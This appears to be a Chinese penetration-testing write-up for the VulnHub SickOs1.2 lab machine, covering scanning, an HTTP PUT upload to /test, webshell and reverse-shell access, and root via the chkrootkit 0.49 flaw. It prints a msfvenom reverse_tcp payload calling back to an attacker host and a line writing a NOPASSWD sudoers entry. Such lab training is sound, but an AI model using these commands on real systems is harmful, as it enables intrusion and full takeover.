kali滲透綜合靶機(十二)--SickOs1.2靶機
靶機下載地址:https://www.vulnhub.com/entry/sickos-12,144/
一、主機發現
1.netdiscover -i eth0 -r 192.168.10.0/24
二、埠掃描
1. masscan --rate=10000 -p0-65535 192.168.10.170
三、埠服務識別
1. nmap -sV -T4 -O -p 22,80 192.168.10.170
四、漏洞查詢與利用
1.瀏覽器訪問http://192.168.10.170,發現發現登入介面,嘗試目錄掃描,沒發現有用資訊
2.發現http://192.168.10.170/test/
3.發現ssh的版本OpenSSH 5.9p1,存在使用者列舉漏洞,用msf列舉使用者得到使用者John, root
4.使用hydra進行ssh爆破,沒有破解出來
5.發現web服務的版本lighttpd 1.4.28
searchsploit lighttpd,搜尋漏洞,發現沒有什麼可利用的漏洞
6. nmap 192.168.10.170 --script=http-methods.nse --script-args=http.methods.url-path="/test" 掃描/test頁面的支援的http方法
或者對/test頁面抓包,然後修改請求頭為OPTIONS檢視支援的HTTP方法
7. 上傳了一個html檔案進行測試,發現真的上傳成功了(上傳一個不存在的檔案會響應201 Created)
Getshell方式一:
8.上傳php一句話
9.菜刀連線一句話
10.在菜刀中上傳php反彈shell,反彈連線的IP以及埠,埠設定為443(防火牆阻止了非常用埠出去)
11.檢視系統版本和核心版本
Getshell方式二:
1.Msfvenom生成一個反彈shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.168 LPORT=443 > shell_443.php
2.curl上傳生成的反彈shell到目標
3.Msf開啟監聽
4.訪問上傳的shell
5.獲得目標的shell
提權方式一:利用exp
1.檢視系統是否存在chkrootkit,發現chkrootkit的版本為0.49
2. chkrootkit 0.49漏洞原理:chkrootkit有crontab,會定期以root身份執行/tmp/update檔案。如果攻擊者知道管理員是定期執行chkrootkit(通過檢視cron.daily獲知),並且對/ tmp(沒有掛載noexec)有寫訪問許可權,就可以利用該漏洞獲取root許可權。
漏洞利用: 於是我們可以利用這一點,在/tmp目錄下新建update檔案,做我們想讓root幫我們做的事
touch /tmp/update
chmod +x /tmp/update
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
sudo su root
提權方式二:
1.exploit-database中對漏洞chkrootkit進行搜尋
2.msf中利用對應的漏洞結合已經獲得的session
3.使用exploit/unix/local/chkrootkit模組本地提權,設定引數
4.開始攻擊,成功,獲得管理員許可權
提權方式三:
1.編寫exp
2.上傳exp到目標靶機
3.把上傳的指令碼拷貝到/tmp目錄下
4.執行update,獲得root許可權
總結:
1、資訊收集、埠掃描、服務識別、目錄掃描
2、nmap 的http-methods.nse指令碼獲得目標支援的http方法,發現/test頁面支援put方法
3、使用burp修改包,用put方法上傳一句話或者curl 上傳獲得shell
4、利用chkrootkit版本0.49定期以root身份執行/tmp/update檔案來提權。
1.利用msf中chkrootkit攻擊模組
2.手動建立在/tmp建立update檔案,然後利用自動執行update檔案,在update寫入新增賬戶到sudo組
3.使用C語言編寫exp,改變/tmp的所屬組為root以及增加uid為root許可權,上傳都目標伺服器,編譯然後執行,提權成功。